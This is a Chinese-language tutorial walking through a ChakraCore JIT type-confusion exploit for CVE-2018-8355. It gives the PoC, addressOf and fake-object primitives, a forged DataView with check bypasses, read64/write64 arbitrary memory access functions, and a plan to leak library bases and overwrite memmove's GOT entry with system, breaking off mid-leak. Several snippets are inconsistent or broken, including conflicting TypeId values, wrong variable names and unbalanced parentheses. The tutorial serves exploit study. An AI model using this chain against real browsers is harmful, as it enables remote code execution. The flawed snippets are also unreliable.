从CVE-2018-8355零基础学Chakracore漏洞利用

栏目: C · 发布时间: 7年前

内容简介:*本文原创作者:walkerfuz,本文属FreeBuf原创奖励计划,未经许可禁止转载学习v8后,对chakracore还是一无所知,恶补一波。虽然chakracore不久就会被淘汰了,但对于学习浏览器的漏洞利用而言,漏洞调试经验才是最宝贵的。本篇文章主要是从入门角度,通过调试CVE-2018-8355一步步学习chakracore引擎的漏洞利用。文章难免会出现理解错误,敬请斧正。文中涉及到有漏洞的chakracore程序,连同上一篇的v8程序,我都编译好放在了github上,链接在文章末尾。有兴趣的童鞋,

*本文原创作者:walkerfuz,本文属FreeBuf原创奖励计划,未经许可禁止转载

学习v8后,对chakracore还是一无所知,恶补一波。虽然chakracore不久就会被淘汰了,但对于学习浏览器的漏洞利用而言,漏洞调试经验才是最宝贵的。本篇文章主要是从入门角度,通过调试CVE-2018-8355一步步学习chakracore引擎的漏洞利用。文章难免会出现理解错误,敬请斧正。

文中涉及到有漏洞的chakracore程序,连同上一篇的v8程序,我都编译好放在了github上,链接在文章末尾。有兴趣的童鞋,可以下载调试。调试环境:Ubuntu 18.04系统。

0×01 编译chakracore源码

chakracore的编译相比v8来说是很简单的,直接git clone编译即可。如果需要patch补丁的话,在下载源码后,直接patch命令加入源码,再编译:

git clone https://github.com/Microsoft/ChakraCore
cd ChakraCore
patch -p1 < ../diff.patch
./build.sh

如果需要切换到某个有问题的分支,以CVE-2018-8355为例,在github上找到该漏洞的commit,然后git切换到该分支,编译即可。

git clone https://github.com/Microsoft/ChakraCore
cd ChakraCore
git checkout 91bb6d68bfe0455cde08aaa5fbc3f2e4f6cc9d04 或 git reset --hard 91bb6d68bfe0455cd
./build.sh

0×02 chakracore的调试方式

这里主要讲源码调试,后续会专门总结非源码模式下主流浏览器在windbg/gdb中的通用调试技巧。

chakra默认没有显示对象地址和int 3断点的调试接口,因此需要在源码中定制。具体需要修改ChakraCore/bin/ch/WScriptJsrt.cpp和WScriptJsrt.cpp.h。

在WScriptJsrt.cpp文件起始位置增加:

#include <signal.h>

然后在WScriptJsrt.cpp中合适位置定义breakpoint和addressOf接口:

IfFalseGo(WScriptJsrt::InstallObjectsOnObject(global, "breakpoint", BreakpointCallback));
IfFalseGo(WScriptJsrt::InstallObjectsOnObject(global, "addressOf", addressOfCallback));
....
JsValueRef __stdcall WScriptJsrt::BreakpointCallback(JsValueRef callee, bool isConstructCall, JsValueRef *arguments, unsigned short argumentCount, void *callbackState)
{
    raise(SIGINT);
    return nullptr;
}
​
JsValueRef __stdcall WScriptJsrt::addressOfCallback(JsValueRef callee, bool isConstructCall, JsValueRef *arguments, unsigned short argumentCount, void *callbackState)
{
    for(unsigned int i=1; i < argumentCount; i++)
    {
        wprintf(_u("Addresss of the %2dth argument is 0x%llx\n"), i, (long long)arguments[i]);
    }
    fflush(stdout);
    return nullptr;
}

在WScriptJsrt.cpp.h中增加:

static JsValueRef CALLBACK BreakpointCallback(JsValueRef callee, bool isConstructCall, JsValueRef *arguments, unsigned short argumentCount, void *callbackState);
static JsValueRef CALLBACK addressOfCallback(JsValueRef callee, bool isConstructCall, JsValueRef *arguments, unsigned short argumentCount, void *callbackState);

编译ChakraCore即可。

然后在编写的js脚本中就可以利用下列语句,实现打印某个对象的地址或触发int3断点的效果:

let array1 = [1.1, 2.2, 3.3];
let array2 = [1.1, 2.2, 3.3];
addressOf(array1, array2);
breakpoint();

gdb调试该脚本:

pwndbg> set args poc.js
pwndbg> r
Starting program: /Release/ch poc.js
... ...
Addresss of the  1th argument is 0x7f02d8b51cb0
Addresss of the  2th argument is 0x7f02d8b51d20
... ...
Program received signal SIGINT
pwndbg> 

现在就能够在gdb中打印对象的内存地址,并在需要的位置断了下来。这两个函数基本可以满足后续漏洞利用过程中的调试需求了。

0×03 对chakra类型混淆漏洞的理解与利用思路

首先需要学习的知识点是,chakra中的数组存在三种,分别为NativeIntArray、NativeFloatArray和VarArray。VarArray代表的是对象数组。比如:

let arr = [1.1, 1.1];

这里arr是NativeFloatArray,我们可以通过向数组中添加非Native元素,自动使其变为VarArray对象数组:

arr[0] = {}

NativeIntArray和NativeFloatArray数组转化成VarArray数组过程中,会将数组中的元素通过异或0xfffc000000000000转化为VarArray中的数据。也就是说VarArray会通过数组中元素的高位来判断数组中的元素是数据还是对象。

NativeIntArray和NativeFloatArray之间出现混淆一般不能带来安全问题,但是当这二者和VarArray混淆之后就会出现数据和对象无法区分的问题。先看一段简单的代码:

a[0] = 1.2;
xxxx;
a[0] = 2.3023e-320; // 0x1234的Float格式

这段代码在JIT优化后的表现形式是这样的:

mov a.segment.index 1.2
xxxx;
mov a.segment.index 2.3023e-320

如果在xxxx操作过程中,将NativeFloatArray的类型改变成VarArray,但JIT优化过程无法检测这种变化,那么在JIT优化期间,2.3023e-320就会仍旧被当做浮点数赋值给a[0]元素。但当程序离开JIT优化函数后,很明显此时a数组已经转换为对象数组了,因此再访问a[0],实际上访问的就是以0×1234作为内存地址的一个对象。而0×1234内存肯定不可访问,从而产生内存访问异常。

let a = [1.1, 2.2];
function opt() // JIT优化
{
    a[0] = 1.2;
    xxxx;
    a[0] = 2.3023e-320; // 0x1234的Float格式
}
print(a[0]);  //此时a[0]已经为一个对象了

因此,对JIT优化产生的类型混淆,最需要理解的本质是,在JIT优化函数过程中a[0]一直会被当做浮点数来处理,而程序离开JIT优化函数后,a[0]就会被JS引擎正常地认为是一个对象了。这一点需要特别特别特别好好理解一下。再次举例说明:

let a = [1.1, 2.2];
let obj = {}
let b = 0;
function opt() // JIT优化
{
    a[0] = 1.2;
    a[1] =obj; // 将a的类型改为对象数组而JIT优化无法察觉
    a[0] = 2.3023e-320; // 0x1234的Float格式
    b = a[1]; // 此时b存储的就是obj对象的内存地址了
    
}
print(a[1]);  //此时a[1]已经为obj对象了
print(b);  // 可以打印出obj对象的地址

我们将xxxx过程改为a[1] =obj,实际上数组a就会自动变成了对象数组。但JIT优化在有漏洞的情况下,没有检测出这个类型变化,仍旧将a作为浮点数组处理,后续就可以将a[1]即obj对象的内存地址赋值给b,也就是说我们可以泄露出对象obj的内存地址了。

另外还可以在JIT优化函数中更改a[1]指向的对象地址,比如a[1]=a[1]+0×58,此时a[1]这个对象的内存地址就指向了a[1]+0×58的位置。

为了实现数组的类型混淆,上述xxxx操作的主流思路有两种,一种是 利用没有检测的回调函数 来修改数组的类型,第二种是 通过合理的函数 来修改数组的类型。

思路1:利用没有检测的回调函数修改数组类型

可以在JavaScript中利用对象的回调函数设置数组类型:

let a = [1.1];
let b = [0];
function opt() // JIT优化
{
    a[0] = 1.2;
    b[0] = {valueOf: () =>{
        a[0] = {}; //将数组a转换成VarArray
        return 0;
    }};
    a[0] = 2.3023e-320;
    // 这时候对a[0]的读写JIT都是以浮点数来处理的
}
opt();
// JIT优化后再打印a[0],实际上访问的是以2.3023e-320为地址的对象
print(a[0]);

由于数组b中的元素只能为NativeInt即Uint32类型,因此再将一个对象赋值给b[0]时,JIT会对这个对象进行一个转换。转换过程中调用了ToInt32这个函数,而这个函数会触发ValueOf回调,从而在回调中将a[0]赋值为一个对象,即将数组a的NativeFloatArray类型自动转换成了VarArray。但JIT优化过程并没能够检测出这一类型改变,误认为a仍旧是NativeFloatArray类型,继续将其元素当做浮点数进行赋值。

但当js代码跳出JIT优化函数后,js引擎能够正确判断出数组a的类型变为了VarArray,因此这时候a[0]代表的就是一个对象了。

也就是说在JIT优化期间,如果我们将一个对象赋值给a[0],JIT优化函数内部是能够以Float读取到这个对象的地址的:

let a = [1.1, 2.2];
let b = [0];
let fake_object = {99.99};
function opt() // JIT优化
{
    a[0] = 1.2;
    b[0] = {valueOf: () =>{
        a[1] = fake_object;
        return 0;
    }};
    a[0] = 2.3023e-320;
    // 此时能够以浮点数操作a[1],即fake_object的地址
}
opt();
// JIT优化后再打印a[1],实际上访问的是fake_object对象
print(a[1]);

思路2:通过合理的函数调用修改数组类型

示例:

function opt(arr, proto)  
{
    arr[0] = 1.1;
    let tmp = {__proto__:proto};
    arr[0] = 2.3023e-320;
}
let arr = [1.1, 2.2, 3.3];
for(let i = 0; i < 10000; i++){  // JIT优化
    opt(arr, {});
}
opt(arr, arr);

上述思路是,在最后一次opt调用时,将array当做proto赋值给了proto属性链。而在对属性链赋值时,如果赋值参数为Native数组的话,赋值过程中,会自动调用ToVarArray函数,将其转换为VarArray。因此上述arr数组在最后一次opt函数调用时,就没自动转换为了VarArray对象数组。但在JIT优化过程中,chakra在实现上并没有预测到上述属性链的调用会改变数组属性,只是单纯地将arr当做NativeFloatArray,从而出现了类型混淆。

实例:CVE-2018-8355 localeCompare引起的类型混淆

首先看PoC:

function opt(arr, s) {
    arr[0] = 1.1;
​
    if (s !== null) {
        let tmp = 'a'.localeCompare(s);
    }
​
    arr[0] = 2.3023e-320;
}
​
function main() {
    let arr = [1.1];
    // JIT优化
    for (let i = 0; i < 10000; i++) {
        'a'.localeCompare('x', []);  // Optimize the JavaScript localeCompare
​
        opt(arr, null);  // for profiling all instructions in opt.
​
        try {
            opt(arr, {toString: () => {
                throw 1;  // Don't profile "if (locales === undefined && options === undefined) {"
            }});
        } catch (e) {
        }
    }
    // 触发漏洞
    opt(arr, {toString: () => {
        // Called twice
        arr[0] = {};
    }});
​
    print(arr);
}
​
main();

如果能够理解前面类型混淆常见思路的话,可以看出,在JIT优化时,先向opt优化传递一个null对象,此时opt不会去执行localeCompare语句,而是直接给arr[0]赋值为一个浮点数;然后向opt传递一个{}空对象,对象定义了一个toString回调函数,这个回调函数会在localeCompare执行期间触发,从而抛出throw 1异常,也就没有执行到后续的arr[0]赋值操作。

也就是说,整个JIT优化期间,chakra始终会把arr作为一个浮点数数组来对待。因此JIT就错误地没有增加对数组a的类型进行检测的代码。

而在后面漏洞触发时,在toString回调函数中,把arr[0]赋值为一个{}对象,也就是改变了数组a的类型为对象数组,但JIT优化代码中并没有检测数组a类型的语句,而是仍旧将其作为浮点数数组进行处理,从而引发了类型混淆。

在了解了类型混淆之后,我们来探讨一下类型混淆如何利用。

0×04 类型混淆的利用思路:伪造DataView

之前讲v8越界读写漏洞的利用时,对利用过程可能描述的不太清楚。这里首先描述一下浏览器漏洞触发之后的常规利用流程。

我们这里逆推一下利用过程。

假设我们想对一个浏览器漏洞实现利用,最容易想到的就是,如果能够通过漏洞实现任意地址读写,只要我们利用这个任意地址读写漏洞,想办法泄露libc基地址,然后修改free_hook或malloc_hook为system地址,就能实现利用了。

再者,如果我们能够利用任意地址读写,将自己写的shellcode写入到一个可写可执行的内存地址,并且能够泄露出这个内存地址,只要将系统内某个js对象结构中的函数指针修改为shellcode的内存地址,也能够实现利用。

可以看出,上述两种思路能够实现利用的前提是,我们需要通过漏洞构造出一个任意地址读写原语。

在v8中,如果我们拥有一个越界读写漏洞,可以通过越界读泄露FloatArray和ObjectArray的Map类型。然后通过越界写,实现类型混淆:将FloatArray的类型修改为ObjectArray的Map,这样就能通过FloatArray读取到某个对象的地址;通过越界写,将ObjectArray的类型修改为FloatArray的Map,这样就能通过ObjectArray强制将一个浮点数地址转换成一个JS对象,这样就实现了一套AddressOf和fakeObject原语。

实现AddressOf和fakeObject原语后,就可以通过AddressOf读取到一个js数组元素的具体内存地址,并将这个内存地址伪造成一个js对象,然后我们就可以通过布局,将这个数组的元素伪造成一个FloatArray的对象结构。伪造的对象结构中的elements指针指向我们需要修改的内存地址,然后通过fake_object[0]就可以访问到这块内存地址了,从而实现了任意地址读写的效果。

具体详细细节,请参考上一篇v8漏洞利用文章。

那在chakra中怎么利用呢?通过对chakra类型混淆漏洞的理解,我们可以得出如下结论:

在JIT优化期间,最后一次触发漏洞的优化函数内部,是可以泄露出赋值给NativeFloatArray元素的对象的地址的。

最后一次漏洞触发时,NativeFloatArray元素仍旧被当做浮点数处理,但JIT优化后,JS引擎就能正确识别这个元素是个对象了。也就是说,我们可以指定一块内存地址作为一个对象的内存。

以localeCompare类型混淆为例子,我们通过改进PoC并结合上述两个结论,可以泄露出某个对象的内存地址,请看详细代码:

// 第一部分:浮点数和64位无符号整数转换函数
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);
​
// 64位无符号整数转为浮点数
function i2f(x) {
    u32[0] = x % 0x100000000;
    u32[1] = (x - (x % 0x100000000)) / 0x100000000;
    return f64[0];
}
// 浮点数转换为64位无符号整数
function f2i(x) {
    f64[0] = x;
    return u32[0] + 0x100000000 * u32[1];
}
// 64位无符号整数转为16进制字节串
function hex(x) {
    return `0x${x.toString(16)}`
}
​
//第二部分:触发漏洞泄露指定对象的内存地址
var fake_object_array = [1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0];
var fake_object_array_addr = 0x0;  // 存储array的地址
​
function opt(arr, s) {
    arr[0] = 1.1;
​
    if (s !== null) {
        let tmp = 'a'.localeCompare(s);
    }
​
    arr[0] = 2.3023e-320;
    fake_object_array_addr = f2i(arr[1]);  // 第二步:这里可以以浮点数读取到a[1]传递到函数外部
    arr[1] = i2f(fake_object_array_addr + 0x58);  // 第三步:将arr[1]指向fake_object_array存储元素的内存处
}
​
​
var arr = [1.1, 2.2];
// JIT 优化
for(let i=0; i < 10000; i++)
{
    'a'.localeCompare('x', []); 
    opt(arr, null);
    try{
        opt(arr, {toString: () => {
            throw 1;
        }});
    }catch(e){
    }
}
​
// 触发漏洞
try{
    opt(arr, {toString: () => {
        arr[1] = fake_object_array;  // 第一步:触发漏洞时,将fake_object_array赋值给a[1]
    }});
}catch(e){
}
​
//addressOf(fake_object_array);
print("leak fake_object_array address: " + hex(fake_object_array_addr));
// 第四步:此时操作arr[1]实际上操作的是一个对象
print(arr[1]);

备注:在上面js脚本中第一部分,参考网上大神的浏览器漏洞利用的框架,自定义了一套64位int和float浮点数的转换函数。

从上面代码可以看出,漏洞触发时,在第一步,我们将a[1]赋值为fake_object_array,这时候会将数组arr的类型自动转换为了VarArray。但JIT优化引擎因为漏洞的存在,无法检测到这个变化。因此在第二步时,仍旧以浮点数方式来读取arr[1],即读取的是fake_object_array对象的地址,也就是说,我们可以在优化结束后,泄露出fake_object_array对象的内存地址。

另外,最关键的第三步出现了,触发漏洞时的JIT优化函数内部,理论上我们即可以读取arr[1],同时也可以修改arr[1]的内容。也就是说,我们能够让arr[1]指向任意内存位置。

那结合v8中的漏洞利用思路,如果让arr[1]指向一个我们可控的数组元素内容的内存,然后通过布局数组元素伪造出一个FloatArray啥的,那不就能实现任意地址读写了吗?

思路完全正确!

我们看一下上述脚本,发现fake_object_array对象就是我们自己构造的:

var fake_object_array = [1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0];
var fake_object_array_addr = 0x0;  // 存储array的地址
... ....

通过漏洞,我们获取到了fake_object_array对象的内存地址,那很容易我们能够得到对象结构中存储[1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0]这些元素的内存地址。

这里为了便于新入门的童鞋理解,不增加知识负担,可以先记住,在fake_object_array对象地址+0×58的位置,存储的就是这些元素的内容。具体可以从参考文章中找到详细解释。当然,说句废话,对一个数组对象结构来说,肯定是对象地址向后偏移的某个地方存储着元素内容。-_-

通过上述混淆漏洞,我们能够将上述数组元素内容转换一个对象,并且在优化后能够以一个对象的方式操控它,也就是上述代码的第四步。

到这里就好办了,只要将上述数组布局为一个FloatArray对象,然后用arr[1]进行访问,我们就能实现任意地址读写了。

看过上一篇v8文章的童鞋会发现,FloatArray在操作高地址时有限制,因此这里我们不再伪造FloatArray对象,而是伪造一个更加通用的DataView对象来实现任意地址读写。

1. 伪造DataView对象结构

在Chakra中,一个DataView对象的结构主要包含8个成员(64位下每个成员都是8个字节,共0×40个字节):

DataView对象结构 备注
[0] vtable指针 虚表指针
[1] TypeObject指针 用于标识对象的类型等基本信息
[2] Dynamic Object Content 第三、四项是继承自Dynamic Object中的内容
[3] Dynamic Object Content
[4] buffer size 一个比较重要的域,表示buffer的size
[5] ArrayBuffer Object指针 DataView对应的ArrayBuffer Object的指针
[6] byteoffset
[7] Buffer DataView操作的目的缓冲区地址,把这个值指向我们想要操作的地址就可以进行读写操作

理论上,我们只要将每一项伪造出来,赋值给前面的数组内容就可以实现伪造了。下面我们来对每个元素进行伪造( 4.1-4.5的内容主要参考文章[2],并针对新版本变化对某些偏移进行了修正 ):

DataView的第一项是对象的vtable虚表指针,在这个漏洞中,目前我们还没有办法去获取到一个合法的vtable地址,所以只好填零留到后面处理。

DataView的第二项是TypeObject的指针,对于Chakra中所有的Dynamic Object都保存一个TypeObject的指针用于标识对象类型等基本信息,称为运行时类型。这里因为不涉及控制数据访问的域,也先填零处理。

DataView的第三、四项是继承自Dynamic Object中的内容。在Chakra中Dynamic Object与Static Object对立,只有简单的String、Boolean等Object是static的,其余的基本都是Dynamic Object。因为Dynamic Object的值同样不涉及控制数据访问的域,这里还是对三、四项填零处理。

下面第五项是一个比较重要的域,表示buffer的size,需要填一个合理的Buffer大小。

第六项是指向DataView对应的ArrayBuffer Object的指针,但是使用DataView访问数据时不会使用ArrayBuffer中的地址,而是优先使用第八项buffer指针的地址。所以这里也填零,之后再处理。

第七项是byteoffset,这个值在利用中用不到,同样填零。

第八项是DataView操作的目的缓冲区地址,把这个值指向我们想要操作的地址就可以进行读写操作。

// 重新构造fake DataView
fake_object_array[0] = i2f(0);  // vtable
fake_object_array[1] = i2f(0); //TypeObject
fake_object_array[2] = i2f(0);  // TypeId
fake_object_array[3] = i2f(0); // JavascriptLibrary
fake_object_array[4] = i2f(0x200); // buffer size
fake_object_array[5] = i2f(0); // ArrayBuffer ArrayBuffer->isDetached=0  
fake_object_array[6] = i2f(0);
fake_object_array[7] = i2f(0x4141414142424242); // 要读写的内存地址

在完成伪造DataView之后,我们需要做的是尝试使用这个DataView进行读写内存,比如:

arr[1].getUint32(0, true);

但是很不幸,由于之前DataView对象结构中很多数据都填了零,在使用DataView对象时,可能会因为校验不通过而发生各种问题,这里就需要通过调试一一bypass掉这些问题。

2. 虚表指针的绕过

首先第一个问题,vtable指针无法获知,但如果需要使用dataview的getUint32、setUint32等函数,通常需要通过虚表指针定位到这些函数地址。因此需要找到一种不通过虚表指针实现函数调用的方法。

下面给出不访问虚表调用对象内部函数的方法,即使用Function.prototype.call方法:

DataView.prototype.getInt32.call(this, args);

第一个为this指针。即:

DataView.prototype.getFloat64.call(arr[1], 0);

就可以实现arr[1].getFloat64(0)的调用效果。这个绕过方式的本质就是,借助了其它DataView的虚表找到需要的函数,然后使用call方式进行调用。

3. TypeId的绕过

虽然虚表的问题已经解决,但此时读写还是不能成功,程序还是会发生crash。因为虽然伪造的fake DataView中的一些域与控制读写无关,但是代码中可能还是存在访问这些域的地方,比如我们前面把一些指针域填零,当代码中存在对这些指针的访问时就会发生crash。

首先遇到的第一个问题是: 在取出DataView的数据前,首先会判断对象的类型是否是DataView 。

const TypeId typeId = recyclableObject->GetTypeId();
if(typeId == CONST_TYPE_DATAVIEW)
{
	return this->data;
}

程序会利用TypeObject指针取出TypeId,然后判断TypeId是否是DataView类型(DataView的类型在当前版本为58,即判断typeId是否等于58)。这里需要注意的是,TypeId存储在TypeObject指针指向的结构中的第一个成员位置,即TypeObject[0]位置。

从CVE-2018-8355零基础学Chakracore漏洞利用

由于TypeObject指针用于表示对象的类型等基本信息,而前面我们直接将其置为零,所以会导致空指针访问。因此需要提前为TypeObject指针寻找一个合适的值。

那怎么办呢?

在JIT优化产生类型混淆后,目前我们手中拥有的是伪造的fake Dataview对象的地址,但是合法dataview的TypeObject指针我们是没有的。因此,我们可以构造一个假的TypeObject结构,第一个成员只要为56,就可以顺利绕过检测。

这里比较巧妙的解法是,由于我们知道fake DataView的地址,因此可以在fakeDataView中用不到的空白区域存储上DataView的类型58,然后在DataView的TypeObject指针域填写上这个存储DataView类型的地址即可。

上面DataView对象结构中的第三项用不到,可以在上面布置一个fake TypeId,然后把第二项的TypeObject指针指向第三项即可。

// 第二项 TypeObject 指针
fake_object_array[1] = fake_object_array_addr + 0x58 + 0x10;
// 第三项 fake typeId
fake_object_array[2] = i2f(58);

备注:新版本DataView的TypeId为58,旧版本为56,这一点需要注意。

4. 保证JavascriptLibrary的合法

程序在使用DataView过程中还存在如下访问:

dataview->type->JavascriptLibrary

因此我们需要保证TypeObject对象中的JavaScriptLibrary能够合法地被访问到,而上面在解决TypeId的过程中,根据TypeObject对象结构,可以发现TypeId后面这个成员就是JavascriptLibrary,因此在此处,即fake DataView的第四项,填入一个合法的内存地址即可。

由于我们知道了堆中fake DataView的对象地址,对这一块区域的访问肯定是合法的,因此可以大致将第四项设置为附近的一个堆地址即可:

// 第四项 JavascriptLibrary
fake_object[3] = fake_object_array_addr -0x100;

5. ArrayBuffer指针

程序还会对fake DataView的第六项成员ArrayBuffer指针进行访问,并且会检测ArrayBuffer的isDetached域。如果isDetached为1,说明DataView不可用;如果isDetached为0,说明DataView可用。因此,我们必须保证isDetached为0。另外,幸运的是,除了isDetached,程序不会再检测ArrayBuffer的其它域。

   0x00007fcf5fa1691e <+382>:   mov    rcx,QWORD PTR [rbx+0x28]  // ArrayBuffer
=> 0x00007fcf5fa16922 <+386>:   cmp    BYTE PTR [rcx+0x20],0x0   // isDetached

可以发现,isDetached位于ArrayBuffer的0×20位置。

因此只需要在fakeDataView地址附近,找一块为0的内存,作为ArrayBuffer->isdetached的内存,然后将该地址-0×20的内存地址写入到fake DataView的第六项作为ArrayBuffer指针即可。

备注:在新版chakra中,isdetached的偏移为0×20,而旧版本中的偏移为0x3c。

到此我们再使用fake DataView就可以保证程序不发生crash,能够正常使用DataView操作数据了。

总结一下前面的bypass:

使用call调用getInt32或setInt32等函数绕过虚表

将DataView的第三项写入TypeId=56,第二项指向第三项的内存地址fake_object_array+0×58+0×10

保证type->Javascriptlibrary指针合法,即第四项写入一个fake_object_array附近的地址

保证ArrayBuffer指针指向的isDetached=0,即保证ArrayBuffer指针填入的地址+0x3C位置的内存为0

在fake DataView最后一项填上要读写的内存地址

利用DataView.prototype.getFloat64.call(arr[1], 0, true)读写即可

最后实际实现的构造代码如下:

// 重新构造fake DataView
fake_object_array[0] = i2f(0);  // vtable
fake_object_array[1] = i2f(f2i(fake_object_array_addr[0]) + 0x68); //TypeObject
fake_object_array[2] = i2f(58);  // TypeId
fake_object_array[3] = i2f(f2i(fake_object_array_addr[0]) - 0x100); // JavascriptLibrary
fake_object_array[4] = i2f(0x10); // buffer size
fake_object_array[5] = i2f(f2i(fake_object_array_addr[0]) + 0x30); // ArrayBuffer ArrayBuffer->isDetached=0
fake_object_array[6] = i2f(0);
fake_object_array[7] = i2f(0x41414141); // addr to read or write
// 最后只要修改fake_object_array[7]为想要读写的内存地址就可以使用DataView的函数访问了
DataView.prototype.getInt32.call(arr[1], 0);

6. 补充:伪造DataView时的调试技巧

在伪造DataView过程中,有可能新版本DataView对象结构的某些成员偏移有所不同,比如新版本的isDetached位于ArrayBuffer结构中的0×20位置,而旧版本中却位于0x3c的位置。刚开始一直参考文章[2]中旧版本的偏移0x3c进行调试,导致chakra一直崩溃,通不过检测。这时候就需要我们在遇到问题时,根据具体情况进行调试来byapss掉。

我们可以提前将所有不确定的域都填写为特定容易识别的数值,然后看程序崩溃时的场景,从而确定当前版本下的具体偏移。比如目前还不确定isDetached的偏移,我们可以将第六项ArrayBuffer指针设置为特定值0×1234,然后gdb调试chakra:

fake_object_array[0] = i2f(0);  // vtable
fake_object_array[1] = i2f(f2i(fake_object_array_addr[0]) + 0x68); //TypeObject
fake_object_array[2] = i2f(58);  // TypeId
fake_object_array[3] = i2f(f2i(fake_object_array_addr[0]) - 0x100); // JavascriptLibrary
​
fake_object_array[4] = i2f(0x10); // buffer size
​
fake_object_array[5] = i2f(f2i(0x1234); // 不确定isDetached的偏移
fake_object_array[6] = i2f(0);
​
fake_object_array[7] = i2f(0x41414141); // addr to read or write
​
DataView.prototype.getInt32.call(arr[1], 0);

你会发现程序崩溃了,崩溃的场景为:

pwndbg> r
Thread 1 "ch" received signal SIGSEGV, Segmentation fault.
 RAX  0x0
 RBX  0x7fcf6388c198 ◂— 0
 RCX  0x1234
 RDX  0x1000000000000
 .... ....
 
 ► 0x7fcf5fa16922    cmp    byte ptr [rcx + 0x20], 0  // 在此处发生内存访问异常
   0x7fcf5fa16926    jne    0x7fcf5fa1698d
    ↓
   0x7fcf5fa1698d    lea    rdx, [rip + 0x341066]
 ... ...
Program received signal SIGSEGV (fault address 0x1254)
pwndbg> disassemble 0x7fcf5fa16922
   0x00007fcf5fa1691e <+382>:   mov    rcx,QWORD PTR [rbx+0x28]
=> 0x00007fcf5fa16922 <+386>:   cmp    BYTE PTR [rcx+0x20],0x0

可以看到rcx即我们设置的ArrayBuffer指针,程序会从[rcx + 0x20]取数值与0进行比较,因此根据前期积累的知识,就可以确定目前版本的isDetached偏移为0×20。

后续只需要在fake_object_array_addr附近,重新寻找数值0所在的内存地址,然后减去0×20,这样就能得到一个合适的ArrayBuffer指针了。

希望大家能理解这种调试思路。

0×06 构造任意地址读写原语

经过上面的伪造,后续就很容易实现任意地址读写的原语了。只要我们将fake_object_array[7]修改为我们需要访问的内存地址,就可以使用DataView的get系列或set系列函数进行内存读写了。实现的读写原语具体如下:

function read64(addr)
{
    fake_object_array[7] = i2f(addr);
    let data = DataView.prototype.getFloat64.call(arr[1], 0, true);
    data = f2i(data);
    print("[*] read data from " + hex(addr) + ":" + hex(data));
    return data;
}
​
function write64(addr, data)
{
    fake_object_array[7] = i2f(addr);
    DataView.prototype.setFloat64.call(arr[1], 0, i2f(data), true);
    print("[*] write data to " + hex(addr) + ":" + hex(data));
}
​
let test_arr = fake_object_array_addr + 0x58 + 0x20;
write64(test_arr, 0x1234);  //测试读写buffer size
read64(test_arr);

在gdb中调试可以得到如下输出:

[*] write data to 0x7fa74740c1b8:0x1234
[*] read data from 0x7fa74740c1b8:0x1234

0×07 任意读写后的漏洞利用

在获得任意地址读写能力后,后面的利用就很好理解了。按照常规套路,泄露libc地址,计算得到free_hook地址和system地址,修改free_hook为system地址,即可触发执行system函数;或者利用类型混淆漏洞,泄露webassembly内存页地址,将shellcode写在wasm内存页上,然后调用wasm接口即可。

作为对上一篇v8漏洞利用的补充,下面主要讲解一下三种有趣的利用思路。PS:目前入门学习阶段暂不考虑需要绕过CFG等高级利用技巧。

1. 泄露libc劫持GOT表

这一种思路最为常见。我们可以读取对象结构中的虚表函数指针,泄露libChakraCore.so地址,然后通过libChakraCore.so中的GOT表泄露libc.so的地址,最终计算得到system的地址。

在常规堆利用中,通常是修改free_hook等函数为system函数从而触发调用。但大家有没有想过一个问题,为何不直接修改程序中free函数的GOT表地址为system地址,反而需要绕一圈去修改free_hook呢?这是因为常规的堆利用中,我们只能泄露出libc的基地址,而无法泄露程序的基地址(除非基地址固定),所以无法修改GOT表。

但在chakracore的利用中,我们可以泄露libChakraCore.so的基地址,因此就可以拿到它调用libc各种函数的GOT表地址,泄露出libc地址后,我们就能将libChakraCore.so中某些函数的GOT表地址修改为system地址来实现调用了。理论上v8中也可以这样做。

因为之前v8漏洞利用期间free函数的不稳定性,这里我们覆盖一个libChakraCore.so中只有我们手动调用js语句才能触发的GOT函数,比如memove@got.plt在js语句Uint8Array.set(new Uint8Array())时才可以被调用。

具体步骤如下:

通过vtable泄露libChakraCore.so

通过libChakraCore.so中的got表泄露libc基地址,计算system地址

将libChakraCore.so中的GOT表memmove@got.plt修改为system地址

调用Uint8Array.set()函数触发memmove函数调用,触发system

使用memmove函数的好处在于,它的第一个参数就是Uint8Array的内存内容,因此可以将Uint8Array内存赋值为我们想要执行的命令,最后调用memmove(command)实际上执行的就是system(command)。

首先通过之前我们得到的fake_object_array对象地址,可以知道+0偏移的地方就是vtable指针,vtable中存储的就是libChakraCore.so中函数地址,我们在gdb中查看一下:

pwndbg> r
leak fake_object_array address: 0x7f5e53aac140
Program received signal SIGINT
pwndbg> telescope 0x7f5e53aac140
00:0000│   0x7f5e53aac140 —▸ 0x7f5e503a21c0 —▸ 0x7f5e4f755960 (Js:....<-- 虚表vtable指针
01:0008│   0x7f5e53aac148 —▸ 0x7f5e53ac3ec0 ◂— 0x20 /* ' ' */
02:0010│   0x7f5e53aac150 ◂— 0
03:0018│   0x7f5e53aac158 ◂— 5
04:0020│   0x7f5e53aac160 ◂— 8
05:0028│   0x7f5e53aac168 —▸ 0x7f5e53aac180 ◂— add    byte p...
... ↓
07:0038│   0x7f5e53aac178 —▸ 0x7f5e53a491a0 —▸.....
pwndbg> telescope 0x7f5e503a21c0  <-- 虚表内容
00:0000│   0x7f5e503a21c0 —▸ 0x7f5e4f755960 (Js::RecyclableObject::Finalize(bool)) ◂— ret    
01:0008│   0x7f5e503a21c8 —▸ 0x7f5e4f755970 (Js::RecyclableObject::Dispose(bool)) ◂— ret    
02:0010│   0x7f5e503a21d0 —▸ 0x7f5e4f755980 (FinalizableObject::Mark(void*)) 
... ...
pwndbg> vmmap 0x7f5e4f755960   <-- 查看虚表中的第一个函数0x7f5e4f755960
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7f5e4f5ca000     0x7f5e50171000 r-xp   ba7000 0     ..../Release/libChakraCore.so

通过上述调试可以发现,虚表中的第一个函数指针就是libChakraCore.so的函数地址,因此很容易得到libChakraCore.so的基地址。具体实现的JavaScript代码如下:

// 第一步:泄露libc地址
let vtable_addr = read64(fake_object_array_addr);
let chakraso_func_addr = read64(vtable_addr);
let chakraso_base_addr = chakraso_func_addr - 0x18B960;
print("[*] leak chakra.so base addr:" + hex(chakraso_base_addr));
​
let chakraso_got_malloc_addr = chakraso_base_addr + 0xE216E0;
let libc_malloc_addr = read64(chakraso_got_malloc_addr);
let libc_basse_addr = libc_malloc_addr - 0x97070;
